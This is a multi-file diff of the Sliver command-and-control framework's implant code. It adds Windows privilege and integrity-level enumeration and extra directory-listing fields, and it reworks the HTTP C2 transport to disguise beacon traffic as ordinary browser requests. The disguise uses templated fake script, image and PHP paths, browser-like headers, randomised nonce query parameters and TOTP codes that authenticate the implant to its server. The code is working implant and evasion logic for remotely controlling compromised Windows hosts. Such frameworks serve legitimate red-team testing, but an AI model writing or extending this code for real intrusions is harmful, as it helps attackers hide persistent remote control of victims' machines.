github.com/VividCortex/ewma v1.1.1/go.mod h1:2Tkkvm3sRDVXaiyucHiACn4cqf7DpdyLvmxzcbUokwA=
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38 h1:smF2tmSOzy2Mm+0dGI2AIUHY+w0BUc+4tn40djz7+6U=
github.com/alecthomas/assert v0.0.0-20170929043011-405dbfeb8e38/go.mod h1:r7bzyVFMNntcxPZXK3/+KdruV1H5KSlyVY0gc+NgInI=
github.com/alecthomas/chroma v0.8.1 h1:ym20sbvyC6RXz45u4qDglcgr8E313oPROshcuCHqiEE=
@@ -53,9 +56,9 @@ github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d h1:OjnsEdBfkfk2ynGBqqWC2Hw3a40Udo1xxJmCkbJRok4=
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d/go.mod h1:oSZ0f0Zrb3C5CC9ix1ARY7PcxRRmraT0wGSjnUJm9rg=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -265,6 +268,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -359,6 +364,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -682,6 +689,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+1
View File
@@ -14,4 +14,5 @@ require (
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
github.com/pquerna/otp v1.3.0
)
+15
View File
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
return nonce, EncoderMap[encoderID]
}
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
func RandomTxtEncoder() (int, Encoder) {
textEncoders := map[int]Encoder{
EnglishEncoderID: English{},
Base64EncoderID: Base64{},
}
keys := make([]int, 0, len(textEncoders))
for k := range textEncoders {
keys = append(keys, k)
}
encoderID := keys[insecureRand.Intn(len(keys))]
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
return nonce, textEncoders[encoderID]
}
// NopNonce - A NOP nonce identifies a request with no encoder/payload
// any value where mod = 0
func NopNonce() int {
+10 -1
View File
@@ -28,6 +28,7 @@ import (
"io/ioutil"
"os/exec"
"strings"
"time"
// {{if .Config.Debug}}
"log"
@@ -97,7 +98,8 @@ func dirListHandler(data []byte, resp RPCResponse) {
dir, files, err := getDirList(dirListReq.Path)
// Convert directory listing to protobuf
dirList := &sliverpb.Ls{Path: dir}
timezone, offset := time.Now().Zone()
dirList := &sliverpb.Ls{Path: dir, Timezone: timezone, TimezoneOffset: int32(offset)}
if err == nil {
dirList.Exists = true
} else {
@@ -109,6 +111,13 @@ func dirListHandler(data []byte, resp RPCResponse) {
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
})
}
+5 -3
View File
@@ -543,7 +543,7 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
return
}
privsInfo, err := priv.GetPrivs()
privsInfo, integrity, processName, err := priv.GetPrivs()
response_data := make([]*sliverpb.WindowsPrivilegeEntry, len(privsInfo))
@@ -567,8 +567,10 @@ func getPrivsHandler(data []byte, resp RPCResponse) {
// Package up the response
getPrivsResp := &sliverpb.GetPrivs{
PrivInfo: response_data,
Response: &commonpb.Response{},
PrivInfo: response_data,
ProcessIntegrity: integrity,
ProcessName: processName,
Response: &commonpb.Response{},
}
if err != nil {
+113 -17
View File
@@ -42,7 +42,11 @@ import (
)
const (
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
THREAD_ALL_ACCESS = windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xffff
SECURITY_MANDATORY_LOW_RID = 0x00001000
SECURITY_MANDATORY_MEDIUM_RID = 0x00002000
SECURITY_MANDATORY_HIGH_RID = 0x00003000
SECURITY_MANDATORY_SYSTEM_RID = 0x00004000
)
type PrivilegeInfo struct {
@@ -340,6 +344,60 @@ func GetSystem(data []byte, hostingProcess string) (err error) {
return
}
func getProcessIntegrityLevel(processToken windows.Token) (string, error) {
// A place to put the size of the token integrity information
var tokenIntegrityBufferSize uint32
// Determine the integrity of the process
windows.GetTokenInformation(processToken, windows.TokenIntegrityLevel, nil, 0, &tokenIntegrityBufferSize)
if tokenIntegrityBufferSize < 4 {
// {{if .Config.Debug}}
log.Println("TokenIntegrityBuffer is too small (must be at least 4 bytes)")
// {{end}}
return "Unknown", nil
}
tokenIntegrityBuffer := make([]byte, tokenIntegrityBufferSize)
err := windows.GetTokenInformation(processToken,
windows.TokenIntegrityLevel,
&tokenIntegrityBuffer[0],
tokenIntegrityBufferSize,
&tokenIntegrityBufferSize,
)
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation (integrity): ", err)
// {{end}}
return "", err
}
/*
When calling GetTokenInformation with a type of TokenIntegrityLevel, the structure we get back
is a TOKEN_MANDATORY_LABEL (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-token_mandatory_label)
which has one SID_AND_ATTRIBUTES structure (https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-sid_and_attributes)
We need the last 4 bytes (uint32) from the structure because that contains the attributes. The attributes
tell us what privilege level we are operating at.
*/
var privilegeLevel uint32 = binary.LittleEndian.Uint32(tokenIntegrityBuffer[tokenIntegrityBufferSize-4:])
if privilegeLevel < SECURITY_MANDATORY_LOW_RID {
return "Untrusted", nil
} else if privilegeLevel < SECURITY_MANDATORY_MEDIUM_RID {
return "Low", nil
} else if privilegeLevel >= SECURITY_MANDATORY_MEDIUM_RID && privilegeLevel < SECURITY_MANDATORY_HIGH_RID {
return "Medium", nil
} else if privilegeLevel >= SECURITY_MANDATORY_HIGH_RID {
return "High", nil
}
return "Unknown", nil
}
func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
/*
We will need the LookupPrivilegeNameW and LookupPrivilegeDisplayNameW functions
@@ -348,6 +406,8 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
Defined these syscalls in implant/sliver/syscalls/syscalls_windows.go and generated them with
mkwinsyscall, so we are good to go.
mkwinsyscall -output zsyscalls_windows.go syscalls_windows.go
*/
// Allocate 256 wide unicode characters (uint16) for the both names (255 characters plus a null terminator)
@@ -381,44 +441,73 @@ func lookupPrivilegeNameByLUID(luid uint64) (string, string, error) {
return syscall.UTF16ToString(nameBuffer), syscall.UTF16ToString(displayNameBuffer), nil
}
func GetPrivs() ([]PrivilegeInfo, error) {
func GetPrivs() ([]PrivilegeInfo, string, string, error) {
// A place to store the process token
var tokenHandle syscall.Token
var tokenHandle windows.Token
// Process integrity
var integrity string
// The current process name
var processName string
// A place to put the size of the token information
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle, err := syscall.GetCurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, err
return nil, integrity, processName, err
}
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
// This error is not fatal. Worst case, we can display the PID from the registered session
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Could not get process information for PID %d: %v\n", sessionPID, err)
// {{end}}
}
if processInformation != nil {
processName = processInformation.Executable()
}
}
// Get the process token from the current process
err = syscall.OpenProcessToken(currentProcHandle, syscall.TOKEN_QUERY, &tokenHandle)
err = windows.OpenProcessToken(currentProcHandle, windows.TOKEN_QUERY, &tokenHandle)
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not open process token: ", err)
// {{end}}
return nil, err
return nil, integrity, processName, err
}
// Get the size of the token information buffer so we know how large of a buffer to allocate
// This produces an error about a data area passed to the syscall being too small, but
// we do not care about that because we just want to know how big of a buffer to make
syscall.GetTokenInformation(tokenHandle, syscall.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
windows.GetTokenInformation(tokenHandle, windows.TokenPrivileges, nil, 0, &tokenInfoBufferSize)
// Make the buffer and get token information
// Using a bytes Buffer so that we can Read from it later
tokenInfoBuffer := bytes.NewBuffer(make([]byte, tokenInfoBufferSize))
err = syscall.GetTokenInformation(tokenHandle,
syscall.TokenPrivileges,
err = windows.GetTokenInformation(tokenHandle,
windows.TokenPrivileges,
&tokenInfoBuffer.Bytes()[0],
uint32(tokenInfoBuffer.Len()),
&tokenInfoBufferSize,
@@ -426,9 +515,9 @@ func GetPrivs() ([]PrivilegeInfo, error) {
if err != nil {
// {{if .Config.Debug}}
log.Println("Error in call to GetTokenInformation: ", err)
log.Println("Error in call to GetTokenInformation (privileges): ", err)
// {{end}}
return nil, err
return nil, integrity, processName, err
}
// The first 32 bits is the number of privileges in the structure
@@ -439,7 +528,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
// {{if .Config.Debug}}
log.Println("Could not read the number of privileges from the token information.")
// {{end}}
return nil, err
return nil, integrity, processName, err
}
/*
@@ -468,7 +557,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
// {{if .Config.Debug}}
log.Println("Could not read the LUID from the binary stream: ", err)
// {{end}}
return privInfo, err
return privInfo, integrity, processName, err
}
// Read the attributes
@@ -477,7 +566,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
// {{if .Config.Debug}}
log.Println("Could not read the attributes from the binary stream: ", err)
// {{end}}
return privInfo, err
return privInfo, integrity, processName, err
}
currentPrivInfo.Name, currentPrivInfo.Description, err = lookupPrivilegeNameByLUID(luid)
@@ -485,7 +574,7 @@ func GetPrivs() ([]PrivilegeInfo, error) {
// {{if .Config.Debug}}
log.Println("Could not get privilege info based on the LUID: ", err)
// {{end}}
return privInfo, err
return privInfo, integrity, processName, err
}
// Figure out the attributes
@@ -497,5 +586,12 @@ func GetPrivs() ([]PrivilegeInfo, error) {
privInfo[index] = currentPrivInfo
}
return privInfo, nil
// Get the process integrity before we leave
integrity, err = getProcessIntegrityLevel(tokenHandle)
if err != nil {
return privInfo, "Could not determine integrity level", processName, err
}
return privInfo, integrity, processName, nil
}
+2 -1
View File
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
filename, err := os.Executable()
// Should not happen, but still...
if err != nil {
//TODO: build the absolute path to os.Args[0]
// TODO: build the absolute path to os.Args[0]
if 0 < len(os.Args) {
filename = os.Args[0]
} else {
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
ProxyURL: transports.GetProxyURL(),
PollInterval: uint32(transports.GetPollInterval() / time.Second),
ConfigID: "{{ .Config.ID }}",
})
if err != nil {
// {{if .Config.Debug}}
+162 -46
View File
@@ -23,7 +23,7 @@ package transports
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = init
// .png = init
// .php = session
// .js = poll
@@ -53,15 +53,23 @@ import (
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/proxy"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"google.golang.org/protobuf/proto"
)
const (
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
userAgent = "{{GenerateUserAgent}}"
defaultNetTimeout = time.Second * 60
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
@@ -119,23 +127,62 @@ func (s *SliverHTTPClient) SessionInit() error {
return nil
}
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
query := req.URL.Query()
query.Set("_", fmt.Sprintf("%d", encoderNonce))
req.URL.RawQuery = query.Encode()
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
return req
}
func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL {
values := uri.Query()
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
// {{if .Config.Debug}}
log.Printf("Encoder nonce %d", value)
// {{end}}
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
argValue = argValue[:index] + char + argValue[index:]
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL {
values := uri.Query()
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(value))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
value = value[:index] + char + value[index:]
}
values.Add(string([]byte{key1, key2}), value)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
uri := s.txtURL()
nonce, encoder := encoders.RandomTxtEncoder()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -180,22 +227,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
// We do our own POST here because the server doesn't have the
// session key yet.
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
nonce, encoder := encoders.RandomEncoder()
// {{if .Config.Debug}}
log.Printf("[http] sessionInit = %v", sessionInit)
// {{end}}
payload := encoder.Encode(sessionInit)
// {{if .Config.Debug}}
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
// {{end}}
reqBody := bytes.NewReader(payload) // Already RSA encrypted
uri := s.jspURL()
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
uri := s.phtmlURL()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
resp, err := s.Client.Do(req)
if err != nil {
return err
@@ -227,7 +271,8 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
}
uri := s.jsURL()
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
s.nonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
@@ -269,13 +314,16 @@ func (s *SliverHTTPClient) Send(data []byte) error {
}
reqData, err := GCMEncrypt(*s.SessionKey, data)
nonce, encoder := encoders.RandomEncoder()
reader := bytes.NewReader(encoder.Encode(reqData))
uri := s.phpURL()
nonce, encoder := encoders.RandomEncoder()
s.nonceQueryArgument(uri, nonce)
reader := bytes.NewReader(encoder.Encode(reqData))
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
req := s.newHTTPRequest(http.MethodPost, uri, reader)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -299,44 +347,97 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) jsURL() string {
// Procedural C2
// ===============
// .txt = rsakey
// .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
func (s *SliverHTTPClient) jsURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"js", "static", "assets", "dist", "javascript"}
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
segments := []string{
// {{range .HTTPC2Config.JsPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.JsFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) jspURL() string {
func (s *SliverHTTPClient) pngURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"app", "admin", "upload", "actions", "api"}
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
segments := []string{
// {{range .HTTPC2Config.PngPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PngFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) phpURL() string {
func (s *SliverHTTPClient) phpURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"api", "rest", "drupal", "wordpress"}
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
segments := []string{
// {{range .HTTPC2Config.PhpPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PhpFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) txtURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
func (s *SliverHTTPClient) phtmlURL() *url.URL {
curl := s.phpURL()
curl, _ = url.Parse(strings.Replace(curl.String(), ".php", ".phtml", 1))
return curl
}
func (s *SliverHTTPClient) txtURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.TxtPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.TxtFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
n := insecureRand.Intn(2) // How many segments?
genSegments := []string{}
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
if 0 < len(segments) {
n := insecureRand.Intn(len(segments)) // How many segments?
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
genSegments = append(genSegments, filename)
@@ -450,4 +551,19 @@ func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies
}
func getOTPCode() string {
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
// {{if .Config.Debug}}
log.Printf("HTTP(S) TOTP Code: %s", code)
// {{end}}
return code
}
// {{end}} -HTTPc2Enabled
+12 -3
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: clientpb/client.proto
package clientpb
@@ -658,6 +658,7 @@ type ImplantConfig struct {
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
@@ -722,6 +723,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
}
func (x *ImplantConfig) GetID() string {
if x != nil {
return x.ID
}
return ""
}
func (x *ImplantConfig) GetGOOS() string {
if x != nil {
return x.GOOS
@@ -4521,8 +4529,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x6f, 0x6e, 0x73, 0x22, 0x8c, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
+2
View File
@@ -59,6 +59,8 @@ enum OutputFormat {
}
message ImplantConfig {
string ID = 100;
string GOOS = 1;
string GOARCH = 2;
string Name = 3;
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: rpcpb/services.proto
package rpcpb
File diff suppressed because it is too large. Load diff
+7
View File
@@ -47,6 +47,7 @@ message Register {
uint32 ReconnectInterval = 13;
string ProxyURL = 14;
uint32 PollInterval = 15;
string ConfigID = 16;
}
// Ping - Not ICMP, just sends a rount trip message to an implant to
@@ -120,6 +121,8 @@ message Ls {
string Path = 1;
bool Exists = 2;
repeated FileInfo Files = 3;
string timezone = 4;
int32 timezoneOffset = 5;
commonpb.Response Response = 9;
}
